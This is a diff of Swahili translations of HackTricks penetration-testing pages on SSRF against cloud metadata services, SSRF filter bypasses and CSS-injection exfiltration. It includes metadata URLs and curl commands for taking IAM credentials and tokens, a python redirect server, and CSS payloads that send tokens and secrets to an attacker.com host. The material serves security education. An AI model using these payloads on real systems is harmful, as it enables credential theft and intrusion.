@ -129,7 +129,7 @@ Tafadhali elewa kwamba katika **baadhi ya kesi** unaweza kupata ufikiaji wa **ta
### SSRF kwa AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
Katika kesi hii **siri zimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili kuzipata unahitaji kupata kitu kama **`file:///proc/self/environ`**.
Katika kesi hii **vyeti vimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili kuzipata unahitaji kupata kitu kama **`file:///proc/self/environ`**.
**Jina** la **mazingira ya env yanayovutia** ni:
@ -137,10 +137,10 @@ Katika kesi hii **siri zimehifadhiwa kwenye mazingira ya env**. Kwa hivyo, ili k
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`
Zaidi ya hayo, mbali na sifa za IAM, Lambda functions pia zina **data ya tukio ambayo hupitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **taarifa nyeti** (kama katika **stageVariables**). Tofauti na sifa za IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
Zaidi ya hayo, mbali na vyeti vya IAM, Lambda functions pia zina **data ya tukio inayopitishwa kwa kazi wakati inapoanzishwa**. Data hii inapatikana kwa kazi kupitia [interface ya runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) na inaweza kuwa na **taarifa nyeti** (kama vile ndani ya **stageVariables**). Tofauti na vyeti vya IAM, data hii inapatikana kupitia SSRF ya kawaida kwa **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Tafadhali elewa kwamba **sifa za lambda** zimo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, inawezekana kuzipata kwa kusababisha **kosa katika programu**.
Tafadhali elewa kwamba **vyeti vya lambda** vimo ndani ya **mazingira ya env**. Kwa hivyo, ikiwa **mnyororo wa kufuatilia** wa nambari ya lambda unachapisha mazingira ya env, inawezekana kuzipata kwa kusababisha **kosa katika programu**.
{% endhint %}
### URL ya SSRF kwa AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
@ -150,13 +150,13 @@ Tunapata `accountId` na `region` kutoka kwenye API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
Tunakisha kupata `AccessKeyId`, `SecretAccessKey`, na `Token` kutoka kwa API.
Kisha tunapata `AccessKeyId`, `SecretAccessKey`, na `Token` kutoka kwa API.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
Kisha tunatumia siri za `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
Kisha tunatumia siri hizo na `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
## GCP <a href="#id-6440" id="id-6440"></a>
@ -170,7 +170,7 @@ Inahitaji kichwa cha HTTP **`Metadata-Flavor: Google`** na unaweza kupata kituo
* http://metadata.google.internal
* http://metadata
Vituo vya kuvutia vya kutoa taarifa:
Vituo vya kupata taarifa muhimu:
```bash
# /project
# Project name and number
@ -249,7 +249,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta haitaji kichwa kwa sasa (shukrani Mathias Karlsson @avlidienbrunn)
Beta haitaji kichwa kwa sasa (asante Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
@ -275,7 +275,7 @@ Chukua token
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Angalia wigo wa token (kwa pato la awali au kwa kukimbia yafuatayo)
Angalia wigo wa token (kwa pato la awali au ukiendesha yafuatayo)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
@ -326,10 +326,10 @@ done
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
Hakuna vitu kama Majukumu ya AWS au akaunti ya huduma ya GCP, hivyo usitarajie kupata metadata bot credentials
Hakuna vitu kama Majukumu ya AWS au akaunti ya huduma ya GCP, hivyo usitarajie kupata metadata ya boti za uanachama
{% endhint %}
Maelezo yanapatikana kwenye [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
Nyaraka zinapatikana kwenye [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@ -388,6 +388,9 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{% endtab %}
{% endtabs %}
### Huduma ya Programu ya Azure
Kutoka kwa **env** unaweza kupata thamani za `IDENTITY_HEADER` _na_ `IDENTITY_ENDPOINT`. Unaweza kutumia hizi kupata token ya kuongea na seva ya metadata.
@ -469,7 +472,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
Tafadhali kumbuka kuwa kwa chaguo-msingi IBM metadata haijashughulikiwa, hivyo niwezekanavyo kwamba huenda usiweze kuipata hata kama uko ndani ya IBM cloud VM
Tafadhali kumbuka kwamba kwa chaguo-msingi IBM metadata haijaanzishwa, hivyo huenda usiweze kuipata hata kama uko ndani ya IBM cloud VM
{% endhint %}
{% code overflow="wrap" %}
@ -498,7 +501,7 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
```
{% endcode %}
Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa mifano zinaweza kupatikana. Kila jukwaa lina vituo vya kipekee vya kupata huduma zake za metadata.
Nyaraka kwa huduma za metadata za majukwaa mbalimbali zimeelezwa hapa chini, zikionyesha njia ambazo maelezo ya usanidi na uendeshaji kwa ajili ya mifano yanaweza kupatikana. Kila jukwaa lina vituo vya pekee vya kupata huduma zake za metadata.
## Packetcloud
@ -512,7 +515,7 @@ Uhitaji wa kichwa cha habari haujatajwa. Metadata inaweza kupatikana kupitia:
## HP Helion
Uhitaji wa kichwa cha habari haujatajwa hapa pia. Metadata inaweza kupatikana kwa:
Hapa pia hitaji la kichwa cha habari halijatajwa. Metadata inaweza kupatikana kwa:
* `http://169.254.169.254/2009-04-04/meta-data/`
@ -542,7 +545,7 @@ Kubernetes ETCD inaweza kuhifadhi funguo za API, anwani za IP za ndani, na banda
## Docker
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano zikitolewa kwa kupata maelezo ya kontena na picha:
Metadata ya Docker inaweza kupatikana kwa ndani, na mifano ikionyeshwa kwa kupata maelezo ya kontena na picha:
* Mfano rahisi wa kupata metadata ya kontena na picha kupitia soketi ya Docker:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`

View file

@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,11 +16,11 @@ Njia nyingine za kusaidia HackTricks:
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
***
### Mwenyeji wa Ndani
```bash
@ -93,7 +93,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../.gitbook/assets/image (649) (1) (1).png>)
**Kifaa cha Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) hutekeleza njia za kuepuka muundo wa anwani za IP.
**Kifaa cha Burp** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) inatekeleza njia za kuepuka muundo wa IP.
### Mchambuzi wa Kikoa
```bash
@ -159,9 +159,9 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### Njia na Kupita Kwa Vifaa
### Njia na Vipanuzi Vipuuzi
Ikiwa unahitajika kwamba URL lazima imalizike kwa njia au kifaa, au lazima iwe na njia unaweza jaribu moja ya njia zifuatazo za kuvuka:
Ikiwa unahitajika kwamba URL lazima imalizike kwa njia au kipanuzi, au lazima iwe na njia unaweza jaribu moja ya vipuuzi vifuatavyo:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -173,8 +173,8 @@ Chombo [**recollapse**](https://github.com/0xacb/recollapse) inaweza kuzalisha m
### Kukiuka kupitia kuelekeza
Inawezekana kwamba server ina **kuchuja ombi la awali** la SSRF **lakini sio** jibu la **kuelekeza** linalowezekana kwa ombi hilo. Kwa mfano, server inayoweza kudhurika na SSRF kupitia: `url=https://www.google.com/` inaweza kuwa **kuchuja paramu ya url**. Lakini ikiwa utatumia [server ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) mahali unapotaka kuelekeza, unaweza kuwa na uwezo wa **kufikia anwani za IP zilizofutwa** kama 127.0.0.1 au hata **itifaki zilizofutwa** kama vile gopher.\
[Angalia ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
Inawezekana kwamba server ina **kuchuja ombi la awali** la SSRF **lakini sio** jibu la **kuelekeza** linalowezekana kwa ombi hilo. Kwa mfano, server inayoweza kudhurika na SSRF kupitia: `url=https://www.google.com/` inaweza **kuchuja paramu ya url**. Lakini ikiwa utatumia [server ya python kujibu na 302](https://pastebin.com/raw/ywAUhFrv) mahali unapotaka kuelekeza, unaweza **kupata anwani za IP zilizofutwa** kama 127.0.0.1 au hata **itifaki zilizofutwa** kama gopher.\
[Tazama ripoti hii.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -195,11 +195,11 @@ self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Mbinu Zilizoelezwa
## Maelezo ya Mbinu
### Mbinu ya Mshale-nyuma
_Mbinu ya mshale-nyuma_ inatumia tofauti kati ya [Kiwango cha URL cha WHATWG](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla wa URI, WHATWG ni maalum kwa URL za wavuti na imepokelewa na vivinjari vya kisasa. Tofauti kuu iko katika kutambua kwa kiwango cha WHATWG ya mshale-nyuma (`\`) kama sawa na mshale mbele (`/`), ikibadilisha jinsi URL zinavyopasuliwa, hasa kwa kuashiria mpito kutoka jina la mwenyeji kwenda kwenye njia katika URL.
_Mbinu ya mshale-nyuma_ inatumia tofauti kati ya [Kawaida ya URL ya WHATWG](https://url.spec.whatwg.org/#url-parsing) na [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Wakati RFC3986 ni mfumo wa jumla kwa URIs, WHATWG ni maalum kwa URL za wavuti na imepokelewa na vivinjari vya kisasa. Tofauti kuu iko katika kutambua kwa kiwango cha WHATWG cha mshale-nyuma (`\`) kama sawa na mshale mbele (`/`), ikibadilisha jinsi URL zinavyopasuliwa, hasa kwa kuashiria mpito kutoka jina la mwenyeji kwenda kwenye njia katika URL.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -216,7 +216,7 @@ picha kutoka [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsin
**Kikundi cha Usalama cha Kujitahidi Kwa Kufanya Kazi Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -228,8 +228,8 @@ Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -14,9 +14,9 @@ Njia nyingine za kusaidia HackTricks:
</details>
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ Njia nyingine za kusaidia HackTricks:
## Kuingiza CSS
### Chaguzi ya Aina
### Chaguo la Sifa
Vichaguzi vya CSS vimeundwa kufanana na thamani za sifa za `jina` na `thamani` za kipengele cha `input`. Ikiwa thamani ya sifa ya kipengele cha `input` inaanza na herufi maalum, rasilimali ya nje iliyopangwa hulandwa:
```css
@ -43,26 +43,26 @@ Hata hivyo, njia hii inakabiliwa na kikwazo wakati wa kushughulikia vipengele vy
#### Kupita kwa Vipengele Vilivyofichwa
Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kielekezi cha ndugu wa jumla `~`. Sheria ya CSS basi inatumika kwa ndugu wote wanaofuata kipengele kilichofichwa cha pembejeo, ikisababisha picha ya mandharinyuma ipakie:
Ili kuzunguka kikwazo hiki, unaweza kulenga kipengele cha ndugu kinachofuata kwa kutumia kielezi cha ndugu wa jumla `~`. Sheria ya CSS basi inatumika kwa ndugu wote wanaofuata kipengele kilichofichwa cha pembejeo, ikisababisha picha ya mandharinyuma kupakia:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Mfano wa vitendo wa kutumia mbinu hii umeelezwa kwa undani katika kificho kilichotolewa. Unaweza kuona [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
Mfano wa vitendo wa kutumia mbinu hii umeelezwa kwa undani katika sehemu ya msimbizo wa nambari iliyotolewa. Unaweza kuiona [hapa](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Vigezo vya Awali kwa CSS Injection
Kwa mbinu ya CSS Injection kuwa na ufanisi, hali fulani lazima zikutane:
1. **Urefu wa Payload**: Vector ya CSS injection lazima iweze kusaidia payloads ndefu vya kutosha kuingiza machaguo yaliyoundwa.
2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda ukurasa, ambao ni muhimu kusababisha upya wa CSS na payloads zilizoundwa upya.
1. **Urefu wa Mzigo**: Vector ya CSS injection lazima iweze kusaidia mzigo wa kutosha kuwezesha wachaguzi ulioandaliwa.
2. **Upya wa CSS**: Unapaswa kuwa na uwezo wa kuunda fremu ya ukurasa, ambayo ni muhimu kusababisha upya wa CSS na mzigo uliozalishwa hivi karibuni.
3. **Rasilimali za Nje**: Mbinu hii inahitaji uwezo wa kutumia picha zilizohifadhiwa nje. Hii inaweza kuzuiliwa na Sera ya Usalama wa Yaliyomo (CSP) ya tovuti.
### Mteuzi wa Vipengele Viziwi
### Mchaguzi wa Vipengele Viziwi
Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha mteuzi **`:has`** na **`:not`** kutambua maudhui hata kutoka kwa vipengele viziwi. Hii ni muhimu sana unapokuwa huna wazo la kilichomo ndani ya ukurasa wa wavuti unaoingiza CSS.\
Pia inawezekana kutumia mteuzi hao kutoa habari kutoka kwa vikundi kadhaa vya aina ile ile kama vile:
Kama [**ilivyoelezwa katika chapisho hili**](https://portswigger.net/research/blind-css-exfiltration), inawezekana kuunganisha wachaguzi **`:has`** na **`:not`** kutambua maudhui hata kutoka kwa vipengele viziwi. Hii ni muhimu sana unapokuwa huna wazo la kilichomo ndani ya ukurasa wa wavuti unaoingiza CSS.\
Pia inawezekana kutumia wachaguzi hao kutoa habari kutoka kwa vikundi kadhaa vya aina ileile kama vile:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -72,34 +72,34 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Kwa kuunganisha hii na **mbinu ya @import** ifuatayo, inawezekana kuchota mengi ya **maarifa kwa kutumia CSS injection kutoka kurasa za vipofu na** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Kwa kuunganisha hii na **mbinu ya @import** ifuatayo, ni rahisi kuchota mengi ya **maarifa kwa kutumia CSS injection kutoka kurasa za vipofu na** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Mbinu ya awali ina mapungufu fulani, angalia vigezo. Unahitaji kuwa na uwezo wa **kupeleka viungo vingi kwa muathiriwa**, au unahitaji kuwa na uwezo wa **kuweka iframe kwenye ukurasa ulio hatarini kwa CSS injection**.
Mbinu ya awali ina mapungufu fulani, angalia vigezo. Unahitaji kuwa na uwezo wa **kupeleka viungo vingi kwa muathiriwa**, au unahitaji kuwa na uwezo wa **kuweka iframe kwenye ukurasa unaoweza kuingiliwa na CSS**.
Hata hivyo, kuna mbinu nyingine nzuri inayotumia **CSS `@import`** kuboresha ubora wa mbinu.
Hii ilionyeshwa kwanza na [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) na inafanya kazi kama ifuatavyo:
Badala ya kupakia ukurasa huo mara kwa mara na zaidi ya payloads tofauti kila wakati (kama ilivyokuwa hapo awali), tutakuwa **tunapakia ukurasa mara moja tu na kwa kuingiza kwa seva ya mshambuliaji** (hii ndio payload ya kutuma kwa muathiriwa):
Badala ya kupakia ukurasa huo mara kwa mara na zaidi ya mizigo tofauti kila wakati (kama ilivyokuwa hapo awali), tutakuwa **tunapakia ukurasa mara moja tu na kwa kuingiza kwa seva ya mshambuliaji** (hii ndio mizigo ya kutuma kwa muathiriwa):
```css
@import url('//attacker.com:5001/start?');
```
1. Import itapokea **CSS script** kutoka kwa wachomaji na **kivinjari kitaiload**.
2. Sehemu ya kwanza ya CSS script wachomaji watatuma ni **`@import` nyingine kwa seva ya wachomaji tena**.
3. Seva ya wachomaji haitajibu ombi hili bado, kwani tunataka kuvuja herufi fulani kisha kujibu kuingiza hii na mzigo wa kuvuja wengine.
4. Sehemu ya pili na kubwa ya mzigo itakuwa **mzigo wa kuvuja wa chaguo la sifa**.
5. Hii itatuma kwa seva ya wachomaji **herufi ya kwanza ya siri na ya mwisho**.
6. Mara tu seva ya wachomaji imepokea **herufi ya kwanza na ya mwisho ya siri**, itajibu kuingiza iliyotakiwa katika hatua ya 2.
2. Sehemu ya kwanza ya CSS script wachomaji watatuma ni **`@import` nyingine kwa server ya wachomaji tena**.
3. Server ya wachomaji haitajibu ombi hili bado, kwani tunataka kuvuja herufi fulani kisha kujibu ombi hili na mzigo wa kuvuja wengine.
4. Sehemu ya pili na kubwa ya mzigo itakuwa **mzigo wa kuvuja wa chaguo la mteule**
5. Hii itatuma kwa server ya wachomaji **herufi ya kwanza ya siri na ya mwisho**
6. Mara server ya wachomaji imepokea **herufi ya kwanza na ya mwisho ya siri**, itajibu ombi la import lililoulizwa katika hatua ya 2.
7. Majibu yatakuwa sawa na **hatua 2, 3 na 4**, lakini wakati huu itajaribu **kupata herufi ya pili ya siri na kisha ya pili kutoka mwisho**.
Mchomaji ataendelea **mzunguko huo hadi aweze kuvuja kabisa siri**.
Unaweza kupata [**msimbo wa Pepe Vila wa kutumia hii hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**msimbo sawa lakini uliocommentiwa hapa**.](./#css-injection)
Unaweza kupata [**mimba ya Pepe Vila ya kuitumia hapa**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) au unaweza kupata karibu [**mimba ile ile lakini imefafanuliwa hapa**.](./#css-injection)
{% hint style="info" %}
Msimbo utajaribu kugundua herufi 2 kila wakati (kutoka mwanzoni na mwishoni) kwa sababu chaguo la sifa linaruhusu kufanya mambo kama:
Mzigo utajaribu kugundua herufi 2 kila wakati (kutoka mwanzoni na mwishoni) kwa sababu chaguo la mteule linaruhusu kufanya mambo kama:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -111,26 +111,26 @@ Hii inaruhusu script kuvuja siri haraka.
{% endhint %}
{% hint style="warning" %}
Wakati mwingine script **haigundui kwa usahihi kwamba kipimo cha awali + kipimo cha mwisho kilichopatikana tayari ni bendera kamili** na itaendelea mbele (kwenye kipimo cha awali) na nyuma (kwenye kipimo cha mwisho) na wakati fulani itasimama.\
Wakati mwingine script **haigundui kwa usahihi kwamba kipimo + kufikishwa kilichogunduliwa tayari ni bendera kamili** na itaendelea mbele (kwenye kipimo) na nyuma (kwenye kufikishwa) na wakati fulani itasimama.\
Usiwe na wasiwasi, tuangalie **matokeo** kwa sababu **unaweza kuona bendera hapo**.
{% endhint %}
### Selectors Nyingine
Njia nyingine za kufikia sehemu za DOM na **vichaguzi vya CSS**:
Njia nyingine za kufikia sehemu za DOM na **vichujio vya CSS**:
* **`.class-to-search:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "class-to-search" kwenye DOM.
* Chaguzi **`:empty`**: Hutumiwa kwa mfano katika [**hii writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
* **`.darasa-ya-kutafuta:nth-child(2)`**: Hii itatafuta kipengee cha pili chenye darasa "darasa-ya-kutafuta" kwenye DOM.
* Chaguo la **`:tupu`**: Hutumiwa kwa mfano katika [**hii writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
[role^="img"][aria-label="1"]:tupu { background-image: url("URL_YAKO_YA_SERVER?1"); }
```
### XS-Search Inayotegemea Makosa
**Marejeleo:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Marejeleo:** [Shambulio la Kulingana na CSS: Kutumia unicode-range ya @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [XS-Search PoC Inayotegemea Makosa na @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Nia kuu ni **kutumia fonti ya desturi kutoka kwa mwisho uliodhibitiwa** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanavyoonekana na fonti hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakia**.
Nia kuu ni **kutumia fonti ya desturi kutoka kwa kituo kilichodhibitiwa** na kuhakikisha kwamba **maandishi (katika kesi hii, 'A') yanavyoonyeshwa na fonti hii tu ikiwa rasilimali iliyotajwa (`favicon.ico`) haiwezi kupakia**.
```html
<!DOCTYPE html>
<html>
@ -155,45 +155,45 @@ font-family: 'poc';
</html>
```
1. **Matumizi ya Fonti ya Kipekee**:
- Fonti ya kipekee inadefiniwa kwa kutumia sheria ya `@font-face` ndani ya lebo ya `<style>` katika sehemu ya `<head>`.
- Fonti inaitwa `poc` na inapakuliwa kutoka kwa mwisho wa nje (`http://attacker.com/?leak`).
- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
- Fonti ya kipekee inadefiniwa kwa kutumia sheria ya `@font-face` ndani ya lebo ya `<style>` katika sehemu ya `<head>`.
- Fonti inaitwa `poc` na inapakuliwa kutoka kwa mwisho wa nje (`http://attacker.com/?leak`).
- Mali ya `unicode-range` imewekwa kuwa `U+0041`, ikilenga herufi maalum ya Unicode 'A'.
2. **Kipengele cha Kitu na Nakala ya Mbadala**:
- Kipengele cha `<object>` chenye `id="poc0"` kinajengwa katika sehemu ya `<body>`. Kipengele hiki kinajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
- `font-family` kwa kipengele hiki imewekwa kuwa `'poc'`, kama ilivyoelezwa katika sehemu ya `<style>`.
- Ikiwa rasilimali (`favicon.ico`) haiwezi kupakia, maudhui ya mbadala (herufi 'A') ndani ya lebo ya `<object>` yataonyeshwa.
- Maudhui ya mbadala ('A') yatachorwa kutumia fonti ya kipekee `poc` ikiwa rasilimali ya nje haiwezi kupakuliwa.
2. **Kipengele cha Kitu na Maandishi ya Mbadala**:
- Kipengele cha `<object>` chenye `id="poc0"` kimeundwa katika sehemu ya `<body>`. Kipengele hiki kinajaribu kupakia rasilimali kutoka `http://192.168.0.1/favicon.ico`.
- `font-family` kwa kipengele hiki imewekwa kuwa `'poc'`, kama ilivyoelezwa katika sehemu ya `<style>`.
- Ikiwa rasilimali (`favicon.ico`) haiwezi kupakia, maudhui ya mbadala (herufi 'A') ndani ya lebo ya `<object>` itaonyeshwa.
- Maudhui ya mbadala ('A') yatachorwa kutumia fonti ya kipekee `poc` ikiwa rasilimali ya nje haiwezi kupakia.
### Kuweka Mzizi wa Matini ya Sehemu
### Kuunda Mtindo wa Sehemu ya Matini ya Kuteleza
**`:target`** pseudo-class inatumika kuchagua kipengele kilicholengwa na **mzizi wa URL**, kama ilivyoelezwa katika [maelezo ya CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kwamba `::target-text` hailingani na vipengele vyovyote isipokuwa ikiwa matini inalengwa wazi na mzizi.
Pseudo-class ya **`:target`** inatumika kuchagua kipengele kilicholengwa na **sehemu ya URL**, kama ilivyoelezwa katika [maelezo ya CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Ni muhimu kuelewa kwamba `::target-text` hailingani na vipengele vyovyote isipokuwa ikiwa matini inalengwa wazi na sehemu.
Wasiwasi wa usalama unatokea wakati wahalifu wanatumia kipengele cha mzizi wa matini, kuruhusu kuthibitisha uwepo wa matini maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwa seva yao kupitia kuingiza HTML. Mbinu hii inajumuisha kuingiza sheria ya CSS kama hii:
Wasiwasi wa usalama unatokea wakati wadukuzi wanatumia kipengele cha **Sehemu ya Matini ya Kuteleza**, kuwaruhusu kuthibitisha uwepo wa matini maalum kwenye ukurasa wa wavuti kwa kupakia rasilimali kutoka kwa seva yao kupitia kuingiza HTML. Mbinu hii inahusisha kuingiza sheria ya CSS kama hii:
```css
:target::before { content : url(target.png) }
```
